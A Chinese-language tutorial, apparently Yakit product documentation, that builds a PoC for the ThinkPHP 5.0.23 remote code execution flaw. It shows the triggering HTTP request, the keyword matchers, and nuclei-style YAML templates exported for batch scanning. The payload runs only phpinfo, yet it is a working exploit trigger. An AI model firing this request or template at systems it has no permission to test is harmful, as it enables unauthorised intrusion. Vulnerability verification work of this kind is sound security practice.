在網絡安全領域,PoC(Proof of Concept)起著重要的作用,并且在安全研究、漏洞發現和漏洞利用等方面具有重要的地位。攻擊方視角下,常常需要圍繞 PoC 做的大量的工作。常常需要從手動測試開始編寫 PoC,再到實際調試 PoC的正確性,最后才能將編寫完畢的 PoC 投入批量使用,在此目前流程中各個階段之間并沒有很好的關聯性,相互之間不能 一鍵 完成,需要從業人員花費不少不必要的工作時間。Yakit 為了解決這個問題,在 Web Fuzzer 中帶來了新的功能——一鍵導出PoC yaml 以及 聯動的調試功能。打通 PoC 的工作流程,讓 PoC 可以真正地“免寫”。本文將以編寫一個 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 為線索來介紹Yakit的 PoC 支持。
ThinkPHP是一款運用極廣的PHP開發框架。其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調用Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞。
Web Fuzzer 手動驗證
構造數據包
先來嘗試使用Web Fuzzer 手動觸發一個 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里構造一個可以觸發漏洞的數據包:
POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
上述是一個可以執行 phpinfo 的測試數據包,直接發送給目標可以觸發一個 phpinfo 響應。
驗證響應-匹配器
除了測試數據包外還需要有與測試數據對應的 預期響應,以驗證漏洞是否觸發。
對以此漏洞一個比較合理的判斷是:響應頁面同時有ThinkPHP
、PHP Version
和PHP Extension
三個關鍵字的時候是成功用ThinkPHP RCE執行了phpinfo函數,觸發了漏洞。
在 Yakit Web Fuzzer 中可以使用匹配器來便捷地匹配數據、檢查響應是否符合預期。匹配器位于 Web Fuzzer 的高級配置欄,
匹配器三種匹配模式:丟棄,保留,僅匹配。
- 丟棄:丟棄模式會在符合匹配器時下丟棄返回包。
- 保留:保留模式會在符合匹配器時保留返回包,剩余的返回包則直接丟棄。
- 僅匹配:僅匹配模式會在符合匹配器時將對應的返回包染色,而不做其他操作。選中此模式一旁出現的色點既是染色使用的顏色
直接來使用匹配器來匹配上述測試數據包的預期數據:
點擊添加匹配器,在頁面右下角會彈出匹配器詳細設置頁面
詳細設置頁面十分簡單明了,支持五種匹配模式、四種匹配范圍以及兩種匹配關系。上述數據包的匹配規則可以表達為:AND關系在全部響應中匹配三個關鍵字,在匹配器中即可如下設置。
點擊應用,匹配器即可生效。重新發送數據包,會提示數據包成功匹配:
至此,已經完成了手動測試一個數據包以及匹配預期響應的流程,在 Web Fuzzer 手動發包已經成功完成了一次漏洞驗證,有了構造PoC的基礎。
Web Fuzzer 自動導出 PoC
PoC的作用當然不能限制在單次的手動測試中,它的作用是通過提煉一個手動測試的流程,來自動化驗證某個漏洞,上一節里在Web Fuzzer完成了手動測試ThinkPHP RCE漏洞的部分,接下來就需要將這次手動測試提煉成一個可以重復使用的 PoC 文件。
在 Web Fuzzer右上角處,有兩個按鈕,分別對應直接導出 PoC和轉到調試 PoC。
PoC****結構
這里導出和調試的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。點擊導出 PoC ,上面的手動測試的流程被保存為如下的 PoC Yaml。
支持 Raw 和 Path 兩種模式,可自由選擇
``
// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and
yakit sign
此 Yaml PoC 有一個特殊的字段yakit-info:sign
。顧名思義,這是一個簽名,一個用于保護 PoC 數據正確性、完整性的簽名。對 PoC 內的重要數據進行簽名,包括 raw 、method、headers…
在 Yakit 插件生態中,上述的 PoC 是可以作為一種插件被用戶方便地使用的,但是作為一個純文本的數據,很難驗證本身是否被錯誤地改動。而這個簽名字段的作用即是驗證此 PoC 是否被意外改動。
在批量執行的插件的情況下,也可以用通過對簽名的驗證來篩選出可以信賴的插件,很大程度上避免了本地插件被意外修改導致驗證失敗的問題。
PoC****調試
PoC 顯然是不能不經調試檢驗直接使用的,在上一步中提煉除了 Yaml PoC 還需要把 PoC進行進一步的調試,來測試 PoC的完善性。在 Web Fuzzer 頁面中點擊右上角的生成 Yaml 模板按鈕即可將當前 Web Fuzzer 的配置生 Yaml PoC 并且調整到插件調試頁面,方便師傅們進一步調試。
調試頁面可以對 Yaml PoC 插件進行測試,通過測試不同的目標來驗證檢查其完善性。
一旁的配置調試請求欄中可以設置不同的調試目標,支持域名、IP、URL。配置調試目標完成之后,點擊執行即可看到本次的調試流量、插件信息以及控制臺輸出
經過詳細地調試之后,在調試插件的右上角有存為插件的按鈕,點擊即可將當前調試的 Yaml PoC 保存為插件,讓此 PoC 正式成為一個可以批量使用的插件。
總結
至此通過 Yakit 的導出與調試 Yaml PoC 功能,我們很簡便的完成了一個批量使用的 PoC 編寫,期間除了最開始的構造數據包部分需要人工手動測試,其余階段 Yakit 都自動化完成了。